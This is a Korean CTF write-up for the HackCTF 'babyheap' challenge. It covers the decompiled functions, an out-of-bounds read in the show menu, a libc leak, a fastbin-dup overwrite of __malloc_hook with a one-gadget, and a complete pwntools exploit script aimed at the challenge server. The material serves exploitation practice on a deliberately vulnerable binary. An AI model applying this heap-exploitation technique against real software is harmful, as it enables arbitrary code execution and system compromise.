[HackCTF]babyheap

메뉴는 3가지로 malloc, free, show할 수 있다. 우리가 생성할 수 있는 청크가 최대 6개다.

원하는 사이즈만큼 malloc 해준다.

unsigned __int64 __fastcall Malloc(signed int a1)
{
  int v2; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("size: ");
  _isoc99_scanf("%d", &v2);
  if ( a1 > 5 )
    exit(1);
  ptr[a1] = malloc(v2);
  printf("content: ", &v2);
  read(0, ptr[a1], v2);
  return __readfsqword(0x28u) ^ v3;
}

원하는 인덱스의 청크를 해제해준다.

unsigned __int64 Free()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 5 )
    exit(1);
  free(ptr[v1]);
  return __readfsqword(0x28u) ^ v2;
}

청크 릭해줄 수 있다. 여기서 %d로 입력받고 v1값을 검사할 때 and연산으로 검사해서 oob가 터진다.

unsigned __int64 Show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 && v1 > 5 )
    exit(1);
  puts(ptr[v1]);
  return __readfsqword(0x28u) ^ v2;
}

show메뉴에서 *ptr에 입력받아서 해당 섹션을 이용해서 oob로 leak해줬다. (leak@ptr@ptr - *ptr) / 8

LOAD:0000000000400590 ; ELF RELA Relocation Table
LOAD:0000000000400590                 Elf64_Rela <601FA0h, 700000006h, 0> ; R_X86_64_GLOB_DAT free
LOAD:00000000004005A8                 Elf64_Rela <601FA8h, 300000006h, 0> ; R_X86_64_GLOB_DAT puts
LOAD:00000000004005C0                 Elf64_Rela <601FB0h, 0D00000006h, 0> ; R_X86_64_GLOB_DAT __stack_chk_fail
LOAD:00000000004005D8                 Elf64_Rela <601FB8h, 900000006h, 0> ; R_X86_64_GLOB_DAT printf
LOAD:00000000004005F0                 Elf64_Rela <601FC0h, 400000006h, 0> ; R_X86_64_GLOB_DAT read
LOAD:0000000000400608                 Elf64_Rela <601FC8h, 0E00000006h, 0> ; R_X86_64_GLOB_DAT __libc_start_main
LOAD:0000000000400620                 Elf64_Rela <601FD0h, 100000006h, 0> ; R_X86_64_GLOB_DAT __gmon_start__
LOAD:0000000000400638                 Elf64_Rela <601FD8h, 0A00000006h, 0> ; R_X86_64_GLOB_DAT malloc
LOAD:0000000000400650                 Elf64_Rela <601FE0h, 500000006h, 0> ; R_X86_64_GLOB_DAT setvbuf
LOAD:0000000000400668                 Elf64_Rela <601FE8h, 0F00000006h, 0> ; R_X86_64_GLOB_DAT atoi
LOAD:0000000000400680                 Elf64_Rela <601FF0h, 600000006h, 0> ; R_X86_64_GLOB_DAT __isoc99_scanf
LOAD:0000000000400698                 Elf64_Rela <601FF8h, 0B00000006h, 0> ; R_X86_64_GLOB_DAT exit
LOAD:00000000004006B0                 Elf64_Rela <602020h, 200000005h, 0> ; R_X86_64_COPY stdout
LOAD:00000000004006C8                 Elf64_Rela <602030h, 800000005h, 0> ; R_X86_64_COPY stdin
LOAD:00000000004006E0                 Elf64_Rela <602040h, 0C00000005h, 0> ; R_X86_64_COPY stderr
LOAD:00000000004006E0 LOAD            ends

언솔빈하고 패빈할라 했는데 청크가 부족해서 할 수 없었고 릭은 show에서 oob터지는 거 이용해 leak한다음에 패빈 덥으로 __malloc_hook을 원샷으로 덮어주면 된다. 그리고 double free해줘서 abort로 free corruption뜨게 해서 쉘 따면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./babyheap')
#p = process('./babyheap')
p = remote('ctf.j0n9hyun.xyz',3030)
libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
stdout_offset = 0x00000000004006B0
ptr = 0x0000000000602060

def malloc(size,content):
	sa('>','1')
	sla(':',str(size))
	sa(':',content)

def free(index):
	sa('>','2')
	sla(':',str(index))

def show(index):
	sa('>','3')
	sla(':',str(index))

show((stdout_offset-ptr)/8)
libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['_IO_2_1_stdout_']
log.info('libc_base : {}'.format(hex(libc_base)))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.info('__malloc_hook : {}'.format(hex(malloc_hook)))

malloc(100,'AAAA')
malloc(100,'BBBB')

free(0)
free(1)
free(0)

malloc(100,p64(malloc_hook-35))
malloc(100,'CCCC')
malloc(100,'DDDD')
malloc(100,'\x00'*19+p64(libc_base + 0xf02a4))

free(2)
free(2) # abort

p.interactive()